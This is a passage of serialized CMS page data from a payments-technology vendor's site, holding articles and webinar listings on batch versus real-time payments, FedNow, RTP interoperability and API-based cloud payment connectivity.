transactions going through batch schemes still has a “bit of a lead” over those that move through the faster payments scheme, at about a 60%-to-40% ratio, he said.",[],{"type":25,"text":23111,"spans":23112},"We’ll continue to see growth in the volume of real-time payments across new use cases, he said, supported by the continued emergence of gig economy work, where individuals want (and value) the ability to be paid instantly when shifts or projects are completed.",[],{"type":25,"text":23114,"spans":23115},"“Immediate payments allow you to adapt to these types of use cases without upending existing bulk processes,” he said.",[],{"type":25,"text":23117,"spans":23118},"The co-existence of batch and real-time payments will likely be long-lived, he said, because while consumers may be used to transacting instantly with peers and expect to see funds settle immediately in their accounts, corporates have some catch-up to do when it comes to embracing real-time payments, or they risk losing customers to competitors.",[],{"type":25,"text":23120,"spans":23121},"“There’s a perceived hurdle on the initial changes that need to happen,” he said.",[],{"type":25,"text":23123,"spans":23124},"Moving from batch cycles — with two- or three-day cycles — to a 24\u002F7\u002F365, always-on functionality may indeed seem daunting.",[],{"type":25,"text":23126,"spans":23127},"Staunton observed that the traditional payment rails — underpinning single, high-value transactions or batched, low-value transactions — have evolved over decades.",[],"rich_text$6de61def-2961-4be0-b8f0-b683d4954a41",{"variation":437,"version":438,"items":23130,"primary":23131,"id":23166,"slice_type":468,"slice_label":5},[],{"body":23132},[23133,23136,23139,23142,23145,23148,23151,23154,23157,23160,23163],{"type":746,"text":23134,"spans":23135},"Addressing the Core Restrictions",[],{"type":25,"text":23137,"spans":23138},"But now, as he told PYMNTS, “the core restriction is that you have to swap files. You have to send bulk batches of payments together because the technology and the central infrastructures have not been able to manage the volume of payments on a one-by-one basis.”",[],{"type":25,"text":23140,"spans":23141},"The pain points become glaring when it comes time to address exceptions or special circumstances with individual transactions that are batched with scores — sometimes hundreds and even thousands — of others. He offered up an example in which a company putting together payroll, a predictable activity that can be done in advance, may need to change a single employee’s account details. Or perhaps another worker has left the firm.",[],{"type":25,"text":23143,"spans":23144},"Taking a single transaction out of the bulk process becomes a challenge because of the complexities in managing reconciliation and other back-end activities, as the batches are broken up.",[],{"type":25,"text":23146,"spans":23147},"“There’s a lot of manual overhead and processing that results from the cleanup” of those one-offs or exceptions, he said. There are other inefficiencies with batch payments, as batches must be submitted by a certain daily deadline or else the company must wait for the next settlement cycle.",[],{"type":25,"text":23149,"spans":23150},"Myriad compliance issues must also be considered, he added.",[],{"type":25,"text":23152,"spans":23153},"“The various schemes have rules and requirements around giving the ‘use of funds’ to customers,” he noted. “So, it’s not just a matter of your books and your records; it’s actually pushing that up through the channels to your retail customers and your corporate customers.”",[],{"type":25,"text":23155,"spans":23156},"For the banks and corporates adapting to and adopting real-time payments, connectivity to managed payments services through an application programming interface (API) enables some “future-proofing” against regulatory and process changes while making sure new demands and use cases are served as they arise, Staunton said.",[],{"type":25,"text":23158,"spans":23159},"APIs provide flexibility to set up file connections quickly and launch new products and services in a streamlined manner, which in turn improves returns on investment in those initiatives, he said.",[],{"type":25,"text":23161,"spans":23162},"“There’s also the flexibility to do more with data,” said Staunton, which comes from being able to “integrate with APIs across all the multiple systems you may have in your banking world. You’ll have a ledger, you’ll have an investigation system, you’ll have a customer service system. They can all be fed independently from a set of APIs that give the right information to those who need it.”",[],{"type":25,"text":23164,"spans":23165},"“The more simplification you can have,” he said, “the easier your life is going to be.”",[],"rich_text$64923e98-36e5-4a34-bac0-23557d486671",{"variation":437,"version":438,"items":23168,"primary":23169,"id":23176,"slice_type":468,"slice_label":5},[],{"body":23170},[23171],{"type":25,"text":14790,"spans":23172},[23173],{"start":9799,"end":1131,"type":489,"data":23174},{"link_type":491,"url":23175,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Freal-time-payments\u002F2023\u002Fbatch-payments-to-become-a-long-lived-reality-in-real-time-world\u002F","rich_text$6dea027f-b75f-4c4d-9859-f945f344850c",{"id":23178,"uid":23179,"type":3743,"data":23180},"alzzlBEAACsAUWPJ","gated-content-the-next-step-for-faster-payments-interoperability",{"title":23181,"excerpt":23182,"card_image":23183,"published_date":23189,"reading_time":3041,"tag":6178,"dek":5,"featured_image":23190,"about_form3":23195,"client_about_heading":5,"client_about_body":23196,"author_name":5,"author_title":5,"author_photo":23197,"author_bio":23198,"author_linkedin":23199,"slices":23200,"meta_title":23181,"meta_description":23182},"The next step for faster payments: Interoperability","For many US banks, next year's summer blockbuster will be the launch of FedNow, as what many are seeing as the next milestone in the move to real time payments in the US. With the system joining the existing RTP system with both promising to modernize the way money moves and allow for greater use of instant payments, it seems the shift to real-time payments is 'inevitable'.",{"dimensions":23184,"alt":23185,"copyright":5,"url":23186,"id":23187,"edit":23188},{"width":412,"height":412},"Interoperability","\u002F_prismic-media\u002F86dd794c623534a1-j5A3aKhgwUjFX2sT_gated-content-the-next-step-for.jpg","j5A3aKhgwUjFX2sT",{"x":398,"y":398,"zoom":399,"background":650},"2023-01-27",{"dimensions":23191,"alt":23185,"copyright":5,"url":23192,"id":23193,"edit":23194},{"width":501,"height":646},"\u002F_prismic-media\u002F523ce4f46e43ef38-y9OzQWoz4uYTj3Kh_ef351dce-eb4f-41f5-8956-4a2c127.png","y9OzQWoz4uYTj3Kh",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[23201,23212],{"variation":437,"version":438,"items":23202,"primary":23203,"id":23211,"slice_type":468,"slice_label":5},[],{"body":23204},[23205,23208],{"type":25,"text":23206,"spans":23207},"For many US banks, next year's summer blockbuster will be the launch of FedNow, as what many are seeing as the next milestone in the move to real time payments in the US. With the system joining the existing RTP system with both promising to modernize the way money moves and allow for greater use of instant payments, it seems the shift to real-time payments is 'inevitable'.\n",[],{"type":25,"text":23209,"spans":23210},"But like every great movie there is always a twist.\n\nWhether we will see these services gain traction is tied to what many believe to be a major hurdle, that of interoperability. As it stands FedNow may not interoperate with the other faster payment operator RTP, and discussions on the two eventually getting to message interoperability don’t seem to be a priority. So, whilst the big banks may take on the expense of connecting to both systems, smaller banks may not have this luxury.\n\nIn our upcoming webinar we look at the issues surrounding interoperability and real time payments.",[],"rich_text$3c5bacc9-142d-4fc9-9922-960acf447b5f",{"variation":437,"version":438,"items":23213,"primary":23214,"id":23234,"slice_type":468,"slice_label":5},[],{"body":23215},[23216,23218,23222,23226,23230],{"type":746,"text":21602,"spans":23217},[],{"type":3373,"text":23219,"spans":23220},"David Scola, General Manager for US\nFORM3",[23221],{"start":398,"end":602,"type":593},{"type":3373,"text":23223,"spans":23224},"Michael Knorr, CIB Industry & Advisory Lead \nWELLS FARGO",[23225],{"start":398,"end":1951,"type":593},{"type":3373,"text":23227,"spans":23228},"Irfan Ahmad, Managing Director, Head of US Payments, GTS \nBANK OF AMERICA",[23229],{"start":398,"end":602,"type":593},{"type":3373,"text":23231,"spans":23232},"Eralda Hasani, Director, Immediate Payments Product Management \nBNY MELLON",[23233],{"start":398,"end":1951,"type":593},"rich_text$7a8bd7b2-0a99-4beb-be3c-42e304f34a77",{"id":23236,"uid":23237,"type":3743,"data":23238},"alzyvhEAACoAUWHR","demystifying-payment-modernization",{"title":23239,"excerpt":23240,"card_image":23241,"published_date":23246,"reading_time":905,"tag":6178,"dek":23247,"featured_image":23248,"about_form3":23253,"client_about_heading":5,"client_about_body":23254,"author_name":5,"author_title":5,"author_photo":23255,"author_bio":23256,"author_linkedin":23257,"slices":23258,"meta_title":23239,"meta_description":23240},"Webinar Recap: Demystifying Payment Modernization - Separating Fact from Fiction","In an age where technology is fundamentally altering the fabric of our daily lives, the payments industry is witnessing its most transformative phase in years. In our recent webinar \"Demystifying Payment Modernization: Separating Fact from Fiction\" we brought together Jennifer Lucas, Bryan Schneider, and Preeti Chaturvedi, each a leading figure in the financial space, to provide an in-depth examination of this evolution. The webinar looked to unravel the complexities surrounding modern technologies like ISO20022, cloud solutions, instant payments, and APIs, which are pivotal yet often misunderstood elements in banking systems.",{"dimensions":23242,"alt":14056,"copyright":5,"url":23243,"id":23244,"edit":23245},{"width":412,"height":412},"\u002F_prismic-media\u002F63d9bbb769775dbd-CgYSbKSZ_xYwmEnN_demystifying-payment-modernizat.jpg","CgYSbKSZ_xYwmEnN",{"x":398,"y":398,"zoom":399,"background":650},"2024-02-06","In an age where technology is fundamentally altering the fabric of our daily lives, the payments industry is witnessing its most transformative phase in years. In our recent webinar \"Demystifying Payment Modernization: Separating Fact from Fiction\" we brought together Jennifer Moore Lucas, Head of Payments for FSO Americas at EY, Bryan Schneider, Group Product Head for FinTech Strategy & Partnerships at U.S. Bank, and Preeti Chaturvedi, US Head of Domestic and Emerging Payments at HSBC, each a leading figure in the financial space, to provide an in-depth examination of this evolution. The webinar looked to unravel the complexities surrounding modern technologies like ISO20022, cloud solutions, instant payments, and APIs, which are pivotal yet often misunderstood elements in banking systems.Below you’ll find a summary of the first half of the webinar where the speakers touched upon the emerging challenges in payment processing, stemming from the advent of new payment rails and evolving standards like ISO20022. They discussed the dual necessity for banks to prioritize efficiency while continuing their rapid modernization journey. The speakers stressed the importance of understanding and leveraging these technologies to create new payment solutions, enabling financial institutions to embark on the path of modernization without the daunting tasks, risks, and costs associated with a complete overhaul of existing systems.Listen to the full webinar here or continue reading below for some of the key takeaways.",{"dimensions":23249,"alt":14056,"copyright":5,"url":23250,"id":23251,"edit":23252},{"width":501,"height":646},"\u002F_prismic-media\u002Fe0fc54c3f0acdb1c-4Fr6OntRgGiT5Uq7_b1ffd5b8-2505-4573-af35-e91f3fd.jpg","4Fr6OntRgGiT5Uq7",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[23259],{"variation":437,"version":438,"items":23260,"primary":23261,"id":23299,"slice_type":468,"slice_label":5},[],{"body":23262},[23263,23266,23269,23272,23275,23278,23281,23284,23287,23290,23293,23296],{"type":746,"text":23264,"spans":23265},"Exploring the realities of payments modernization",[],{"type":25,"text":23267,"spans":23268},"The discussion opened with an exploration of the immediate demand for real-time payments in the U.S. Lucas, leveraging her extensive background in The Clearing House and real-time payments committee, highlighted the \"pockets of activity\" where real-time payments are gaining traction. Financial services, FinTech wallets, the gig economy, and sectors like insurance and online betting are leading the charge. The need for faster payouts in these areas is not just a convenience but a necessity for market competitiveness and consumer satisfaction. However, Lucas pointed out a notable gap in the point of sale and e-commerce sectors, where the demand for an alternative to existing payment systems remains unmet, despite significant economic incentives.",[],{"type":25,"text":23270,"spans":23271},"Echoing Lucas's observations, Chaturvedi brought to light the surge in digital payments driven by advancements in technology and changing user preferences. She emphasized the critical need for instant payments, especially for gig economy workers who often rely on weekly or bi-weekly payrolls. This demographic, according to Chaturvedi, is increasingly turning to costly short-term loans due to the lack of instant payment options. She also highlighted the importance of real-time payments in fragmented sectors like real estate and supplier payments, where instant disbursements can enhance relationships and foster trust within the supply chain.",[],{"type":25,"text":23273,"spans":23274},"Schneider, taking a slightly different angle, discussed the demand for real-time payments from a merchant acquiring perspective. He pointed out that merchants are increasingly seeking immediate funding, moving away from traditional ACH (Automated Clearing House) systems. Schneider also noted the growing interest in real-time payments in sectors like transportation and logistics, where immediate reimbursements are crucial for operations. His remarks underscored the broader trend of FinTechs leveraging payments in innovative ways to differentiate their services and address specific market needs.",[],{"type":25,"text":23276,"spans":23277},"The conversation then shifted to the keys to success and lessons learned for payment providers in driving modern platforms in the U.S. Chaturvedi stressed the importance of simplifying the customer experience and creating seamless onboarding processes. She drew parallels with countries like India and Brazil, where regulators have played a pivotal role in transitioning from cash-based to digital economies. Chaturvedi argued that in the U.S., the presence of multiple payment options, such as same-day ACH, FedNow, and TCH, could dilute focus and impede adoption. She underscored the need for interoperability and ISO harmonization to fully harness the benefits of instant payments.",[],{"type":25,"text":23279,"spans":23280},"Schneider shared his learnings, focusing on the practical aspects of implementing real-time payments. He mentioned the initial challenges with payment limits and the importance of intelligent payment routing to avoid creating exceptions for businesses. Schneider emphasized that integrating user experiences and connectivity are crucial. Financial institutions need to ensure that their systems can seamlessly connect with clients' existing systems, like ERP and AP automation systems. He also highlighted the significance of data management for efficient reconciliation processes.",[],{"type":25,"text":23282,"spans":23283},"Lucas brought a different perspective, cautioning against oversimplifying the nature of payments. She argued that each payment type is unique, with distinct rules, risks, and data requirements. Lucas emphasized the evolving regulatory landscape, particularly regarding fraud and scams, and the need for payment platforms to be adaptable and flexible. She called for a future where payments could be more standardized while acknowledging the complexities involved in reaching that state.",[],{"type":25,"text":23285,"spans":23286},"The panelists then addressed the biggest inhibitors to adopting payment modernization. Schneider pointed out the complexity of integrating various systems and the necessity of creating straightforward workflows. He advocated for the development of pre-existing integrations and API connectors to facilitate easier adoption for companies. This approach would allow businesses to leverage off-the-shelf solutions, reducing the need to build from scratch.",[],{"type":25,"text":23288,"spans":23289},"Lucas highlighted common myths surrounding payment modernization, particularly the idea of a single platform capable of handling all payment types. She advised a more modular and thoughtful approach, focusing on solving specific problems rather than attempting to tackle 'world hunger.' Lucas also touched on the challenges posed by legacy systems and the dwindling talent pool capable of maintaining them, emphasizing the need for balance in deciding when to modernize.",[],{"type":25,"text":23291,"spans":23292},"Chaturvedi concurred, stressing the importance of defining a clear scope for modernization projects and understanding customer needs. She dispelled the misconception that moving to real-time payments necessitates a complete overhaul of existing systems. Chaturvedi underscored the role of education and awareness in guiding clients through their modernization journeys, ensuring that they can adapt their current systems to new payment rails without extensive overhauls.",[],{"type":25,"text":23294,"spans":23295},"As the industry continues to evolve, staying informed and adaptable will be key to navigating the future of payments. The insights shared by Lucas, Schneider, and Chaturvedi not only highlight the current state of payment modernization but also illuminate the path forward. The need for real-time payments is clear across various sectors, driven by technological advancements and changing consumer expectations. The journey towards widespread adoption will require a thoughtful approach, considering user experience, regulatory environments, and the complexities of existing financial infrastructures.",[],{"type":25,"text":23297,"spans":23298},"This webinar served as a valuable platform for sharing expert insights and fostering a deeper understanding of the challenges and opportunities within the U.S. payments landscape. As we look forward to the continuing conversation in the second half of this webinar, the insights offered in this excerpt provide a compelling glimpse into the dynamic world of payment modernization.",[],"rich_text$8481fff8-9841-49c2-bd1a-4c23fcfce705",{"id":23301,"uid":23302,"type":3743,"data":23303},"alzzRREAACoAUWMJ","banks-look-to-the-cloud",{"title":23304,"excerpt":23305,"card_image":23306,"published_date":14250,"reading_time":643,"tag":5813,"dek":23305,"featured_image":23311,"about_form3":23316,"client_about_heading":5,"client_about_body":23317,"author_name":5,"author_title":5,"author_photo":23318,"author_bio":23319,"author_linkedin":23320,"slices":23321,"meta_title":23304,"meta_description":23305},"Banks Look to the Cloud to Deliver Real Time Payments Speed and Security","As real-time payments schemes take root around the world, financial institutions must grapple with new operational and technical challenges. Dave Scola, U.S. CEO for Form3, told PYMNTS that the issues are now front and center — and payments as a service can help alleviate pain points.",{"dimensions":23307,"alt":23304,"copyright":5,"url":23308,"id":23309,"edit":23310},{"width":412,"height":412},"\u002F_prismic-media\u002Fd8606e8be5251e3f-DpcjbaEpzTgFmDgI_banks-look-to-the-cloud.png","DpcjbaEpzTgFmDgI",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":23312,"alt":23029,"copyright":5,"url":23313,"id":23314,"edit":23315},{"width":501,"height":646},"\u002F_prismic-media\u002F5ecb53c06b494d27-Lbwoqp0zzCEaOT3J_ef351dce-eb4f-41f5-8956-4a2c127.png","Lbwoqp0zzCEaOT3J",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[23322,23330,23350,23397],{"variation":437,"version":438,"items":23323,"primary":23324,"id":23329,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":23325,"caption":5},{"embed_url":23326,"provider_name":283,"provider_url":2050,"title":23304,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":23327,"html":23328},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=yI7wb0lZSKs","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FyI7wb0lZSKs\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FyI7wb0lZSKs?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Banks Look to the Cloud to Deliver Real Time Payments Speed and Security\">\u003C\u002Fiframe>","embed$f04ef5b4-ada3-42c0-a649-2babe0a176d8",{"variation":437,"version":438,"items":23331,"primary":23332,"id":23349,"slice_type":468,"slice_label":5},[],{"body":23333},[23334,23337,23340,23343,23346],{"type":25,"text":23335,"spans":23336},"“All banks need to connect to payment rails across the world. Those payment rails are complex and require a lot of maintenance.”",[],{"type":25,"text":23338,"spans":23339},"And beyond the technical considerations tied to those rails, said Scola, the standards governing those rails, in terms of security and compliance, can change often and differ from region to region.",[],{"type":25,"text":23341,"spans":23342},"With all those challenges in place, he said, banks need a simpler and streamlined way to connect to those rails.",[],{"type":25,"text":23344,"spans":23345},"A cloud-based platform approach lets banks outsource those functions. He said that through a single set of codes and application programming interfaces (APIs), Form3 gathers the data needed to generate and move payments to settlement. Then it sends confirmation back to the platform’s clients.",[],{"type":25,"text":23347,"spans":23348},"The model’s been tested — 40% of the faster payments traffic through the U.K. moves across Form3’s platform. In recent months, the company’s been expanding its reach to include the U.S., where Form3 has been building out its capabilities around FedNow, TCH’s RTP® network and Fedwire.",[],"rich_text$66a64ba4-71a3-432f-86ba-30c2ff454b2a",{"variation":437,"version":438,"items":23351,"primary":23352,"id":23396,"slice_type":468,"slice_label":5},[],{"body":23353},[23354,23357,23360,23363,23366,23372,23375,23378,23381,23384,23387,23390,23393],{"type":746,"text":23355,"spans":23356},"Realizing the Limitations",[],{"type":25,"text":23358,"spans":23359},"The banks themselves, he said, have been realizing the limitations of their proprietary solutions and legacy systems that have been built over decades. The older technologies had been good enough to handle payments functions until the last couple of years.",[],{"type":25,"text":23361,"spans":23362},"“But now bank clients are demanding more flexibility and higher levels of services. The banks want to address those demands but are now looking at the hulking dinosaurs of their legacy platforms and trying to figure out how they can accommodate those demands.”",[],{"type":25,"text":23364,"spans":23365},"The urgency to do so is underscored by the rise of real-time payments — which demand that transactions be processed in a matter of seconds, 24\u002F7.",[],{"type":25,"text":23367,"spans":23368},"The cloud-based connectivity, he said, helps serve as an always-up-to-date last mile that ensures banks can satisfy their clients’ needs and the demands of real-time payments, especially as the industry migrates to data-rich ISO 20022 messaging standards.",[23369],{"start":2237,"end":3886,"type":489,"data":23370},{"link_type":491,"url":23371,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fpartnerships\u002F2022\u002Ffintech-form3-goldman-sachs-launch-cross-border-transaction-banking\u002F",{"type":25,"text":23373,"spans":23374},"The API approach allows the flexibility to accommodate multiple different messaging formats — not only ISO 20022 but also the legacy Fedwire Application Interface Manual (FAIM) messaging in the U.S. For banks’ developers, utilizing the APIs is different than hard coding traditional message format — where once those formats are coded, they become embedded in the backend programming languages payment flow and are notoriously difficult to change.",[],{"type":25,"text":23376,"spans":23377},"“Once you are integrated into that API, you can then access basically the entire suite of services that we offer, whether in the U.K., Europe — and whether it’s payment orchestration or fraud prevention.”",[],{"type":25,"text":23379,"spans":23380},"Inherent in the shift to faster payments is the specter of faster fraud. FIs have to conduct anti-money laundering (AML) checks, verify funds availability and check if the account on the other end of the transaction is a valid recipient. With the legacy systems in place, those tasks are almost impossible to complete in near-real-time.",[],{"type":25,"text":23382,"spans":23383},"“As the client maintains connectivity through us — and through the API — we can handle that change management aspect, and we do it on behalf of all of our clients as part of the service,” said Scola.",[],{"type":25,"text":23385,"spans":23386},"Asked by PYMNTS whether there’s been the need to educate banks and CIOs on the benefits of a cloud-based approach to payments rail-connectivity, Scola noted that “if I had gone to a bank seven years ago and pitched moving their payments to the cloud, I might have been laughed out of the room.”",[],{"type":25,"text":23388,"spans":23389},"“But now we’ve seen banks and CIOs become increasingly more comfortable with the use of what is effectively just an outsourced technical infrastructure … it’s an easier conversation to have today.”",[],{"type":25,"text":23391,"spans":23392},"Looking ahead, Scola noted that financial systems ecosystems are evolving, driven by payments as a service. And for Form3, he said, there’s particular value in bringing a comprehensive, fraud-fighting approach to that market.",[],{"type":25,"text":23394,"spans":23395},"“Meeting the needs tied to creating a real-time payments environment is going to be a massive challenge for most banks,” he said. “No single institution can solve these challenges on their own.”",[],"rich_text$3a6326ae-cdaa-43bd-b81b-1931dcb8f015",{"variation":437,"version":438,"items":23398,"primary":23399,"id":23406,"slice_type":468,"slice_label":5},[],{"body":23400},[23401],{"type":25,"text":14790,"spans":23402},[23403],{"start":9799,"end":1131,"type":489,"data":23404},{"link_type":491,"url":23405,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Freal-time-payments\u002F2023\u002Fbanks-look-to-the-cloud-to-deliver-real-time-payments-speed-and-security\u002F","rich_text$5af16a8a-85bd-4350-a851-36327b8c01e1",{"id":23408,"uid":23409,"type":3743,"data":23410},"alzzGREAACgAUWKh","gated-content-how-apis-are-reshaping-the-payments-landscape",{"title":23411,"excerpt":23412,"card_image":23413,"published_date":23418,"reading_time":9211,"tag":6178,"dek":5,"featured_image":23419,"about_form3":23425,"client_about_heading":5,"client_about_body":23426,"author_name":5,"author_title":5,"author_photo":23427,"author_bio":23428,"author_linkedin":23429,"slices":23430,"meta_title":23411,"meta_description":23412},"How APIs are reshaping the payments landscape","In the ever-evolving landscape of banking and payments, API technology stands as a transformative force. This webinar will delve into how API's streamline payments, catalyze business growth and drive digital transformation, and facilitate open banking. Join us for a comprehensive look at how API technology is shaping a more seamlessly integrated and customer focused future in the financial industry.",{"dimensions":23414,"alt":16641,"copyright":5,"url":23415,"id":23416,"edit":23417},{"width":412,"height":412},"\u002F_prismic-media\u002F90b7fc1a1520602f-k9JjA4i2fcvyCyKl_gated-content-how-apis-are-resh.jpg","k9JjA4i2fcvyCyKl",{"x":398,"y":398,"zoom":399,"background":650},"2023-07-20",{"dimensions":23420,"alt":23421,"copyright":5,"url":23422,"id":23423,"edit":23424},{"width":501,"height":646},"New Payment Schemes","\u002F_prismic-media\u002F2bf468526f8b3f3a-EiBQoKjVXEwmHa0Y_ef351dce-eb4f-41f5-8956-4a2c127.png","EiBQoKjVXEwmHa0Y",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[23431,23438],{"variation":437,"version":438,"items":23432,"primary":23433,"id":23437,"slice_type":468,"slice_label":5},[],{"body":23434},[23435],{"type":25,"text":23412,"spans":23436},[],"rich_text$56134d32-7fa4-4e44-a69c-e9e0403eaff2",{"variation":437,"version":438,"items":23439,"primary":23440,"id":23459,"slice_type":468,"slice_label":5},[],{"body":23441},[23442,23444,23447,23451,23455],{"type":746,"text":21602,"spans":23443},[],{"type":3373,"text":23063,"spans":23445},[23446],{"start":398,"end":1951,"type":593},{"type":3373,"text":23448,"spans":23449},"Surbhi Dhir, Senior Client Partner \nPUBLICIS SAPIENT",[23450],{"start":398,"end":602,"type":593},{"type":3373,"text":23452,"spans":23453},"Carlos Mattos, CTO – Germany\nGFT",[23454],{"start":398,"end":1951,"type":593},{"type":3373,"text":23456,"spans":23457},"Bhavana Prathipati, Director, Product Management – Payments \nSILICON VALLEY BANK",[23458],{"start":398,"end":2769,"type":593},"rich_text$ac4a7593-8ee1-400d-b683-33e9ebb7b9d1",{"id":23461,"uid":23462,"type":3743,"data":23463},"alzzUhEAAC0AUWMo","gated-content-navigating-integration-and-resilience-of-new-payment-schemes",{"title":23464,"excerpt":23465,"card_image":23466,"published_date":14807,"reading_time":9211,"tag":6178,"dek":5,"featured_image":23471,"about_form3":23476,"client_about_heading":5,"client_about_body":23477,"author_name":5,"author_title":5,"author_photo":23478,"author_bio":23479,"author_linkedin":23480,"slices":23481,"meta_title":23464,"meta_description":23465},"Navigating the Integration and Resilience of New Payment Schemes: Strategies for Success in the Era of APIs and Cloud Technology","As the financial services industry continues to evolve, banks and other institutions are faced with the challenge of integrating new payment schemes while ensuring resilience and availability. This webinar will explore best practices for managing these new systems, with a particular focus on the role of APIs, cloud technology, and real-time payments. Our expert panel will share their experiences and insights on how to successfully approach these new payment schemes and achieve seamless integration, while also maintaining high levels of security and reliability.",{"dimensions":23467,"alt":23421,"copyright":5,"url":23468,"id":23469,"edit":23470},{"width":412,"height":412},"\u002F_prismic-media\u002F3d451cf3f03c9d44-dAQ49wEhg9wOrQLO_gated-content-navigating-integr.jpg","dAQ49wEhg9wOrQLO",{"x":398,"y":398,"zoom":399,"background":650},{"dimensions":23472,"alt":23421,"copyright":5,"url":23473,"id":23474,"edit":23475},{"width":501,"height":646},"\u002F_prismic-media\u002Fb02c93e79189496a-G84FkpGAMYWE6LDe_ef351dce-eb4f-41f5-8956-4a2c127.png","G84FkpGAMYWE6LDe",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[23482,23489],{"variation":437,"version":438,"items":23483,"primary":23484,"id":23488,"slice_type":468,"slice_label":5},[],{"body":23485},[23486],{"type":25,"text":23465,"spans":23487},[],"rich_text$a3b2a5ee-ddb1-49d2-baa6-1aea61b4e40b",{"variation":437,"version":438,"items":23490,"primary":23491,"id":23511,"slice_type":468,"slice_label":5},[],{"body":23492},[23493,23495,23499,23503,23507],{"type":746,"text":21602,"spans":23494},[],{"type":3373,"text":23496,"spans":23497},"Mike Walters, Chief Product Officer \nFORM3",[23498],{"start":398,"end":2707,"type":593},{"type":3373,"text":23500,"spans":23501},"Rusiru Gunasena, SVP, Products and Strategy \nTHE CLEARING HOUSE",[23502],{"start":398,"end":8472,"type":593},{"type":3373,"text":23504,"spans":23505},"Dean Nolan, VP, Director of Faster Payments and Commercial Cards \nFIFTH THIRD BANK",[23506],{"start":398,"end":905,"type":593},{"type":3373,"text":23508,"spans":23509},"Arjun Singh, Chief Information Officer - Payments & Commercial \nSANTANDER",[23510],{"start":398,"end":602,"type":593},"rich_text$bd63131d-0859-4d71-a553-da0b66ce7dca",{"id":23513,"uid":23514,"type":3743,"data":23515},"alzzKREAACoAUWLG","fednows-success-hinges-on-getting-enough-banks-to-connect--and-use-it",{"title":23516,"excerpt":23517,"card_image":23518,"published_date":23523,"reading_time":418,"tag":5813,"dek":23524,"featured_image":23525,"about_form3":23530,"client_about_heading":5,"client_about_body":23531,"author_name":5,"author_title":5,"author_photo":23532,"author_bio":23533,"author_linkedin":23534,"slices":23535,"meta_title":23516,"meta_description":23608},"FedNow’s Success Hinges on Getting Enough Banks to Connect — and Use It","In an interview with PYMNTS, Miriam Sheril, head of product – US at Form3, noted that instant payments has been available in the States since the 2017 rollout of The Clearing House’s RTP network, but thus far, only about 300 banks have signed on. FedNow will debut in July — offering another instant “rail” for faster payments.",{"dimensions":23519,"alt":21799,"copyright":5,"url":23520,"id":23521,"edit":23522},{"width":412,"height":412},"\u002F_prismic-media\u002Fd5a3b8a04051a9fd-smaVnNb1jkk9z9lB_fednows-success-hinges-on-getti.png","smaVnNb1jkk9z9lB",{"x":398,"y":398,"zoom":399,"background":400},"2023-07-05","As the world becomes increasingly digital, the idea of instant gratification has become the norm. From streaming movies to ordering groceries, consumers expect everything to be available at their fingertips 24\u002F7. The payments industry is no exception to this trend, with instant payment solutions poised to revolutionize how Americans transfer money. The Federal Reserve’s FedNow system is set to launch soon, offering instant payments to users across the United States.In an interview with PYMNTS, Miriam Sheril, head of product – US at Form3, noted that instant payments has been available in the States since the 2017 rollout of The Clearing House’s RTP network, but thus far, only about 300 banks have signed on. FedNow will debut in July — offering another instant “rail” for faster payments.",{"dimensions":23526,"alt":21799,"copyright":5,"url":23527,"id":23528,"edit":23529},{"width":501,"height":646},"\u002F_prismic-media\u002F29b7b35ab475bdd0-SswcSieGUbqYlTvc_ef351dce-eb4f-41f5-8956-4a2c127.png","SswcSieGUbqYlTvc",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[23536,23544,23566,23599],{"variation":437,"version":438,"items":23537,"primary":23538,"id":23543,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":23539,"caption":5},{"embed_url":23540,"provider_name":283,"provider_url":2050,"title":23516,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":23541,"html":23542},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=bdF_QOGFMpE","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FbdF_QOGFMpE\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FbdF_QOGFMpE?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"FedNow’s Success Hinges on Getting Enough Banks to Connect — and Use It\">\u003C\u002Fiframe>","embed$e4e49530-71d2-4950-bcc3-4370de036a81",{"variation":437,"version":438,"items":23545,"primary":23546,"id":23565,"slice_type":468,"slice_label":5},[],{"body":23547},[23548,23551,23556,23559,23562],{"type":25,"text":23549,"spans":23550},"Sheril maintained that FedNow’s success hinges on its adoption by banks — thousands of them. ",[],{"type":25,"text":23552,"spans":23553},"“To drive a network, you need ubiquity, and it’s hard to achieve when there’s a chicken and egg situation,” she said. In that case, she noted, banks may be holding off to see whether new use cases and consumer demand materialize before signing on; the consumer demand and use cases may be slow to materialize unless they see that their banks (on both the senders’ and receivers’ sides of the equation) have the functionality in place. ",[23554],{"start":1456,"end":23555,"type":765},368,{"type":25,"text":23557,"spans":23558},"As she remarked to PYMNTS, Form3, a vendor offering an agnostic solution that works for RTP and FedNow, is poised to help banks navigate the new landscape. As faster payments evolve, the initial use cases may crystallize around lower-risk, lower volume (and lower dollar-value) 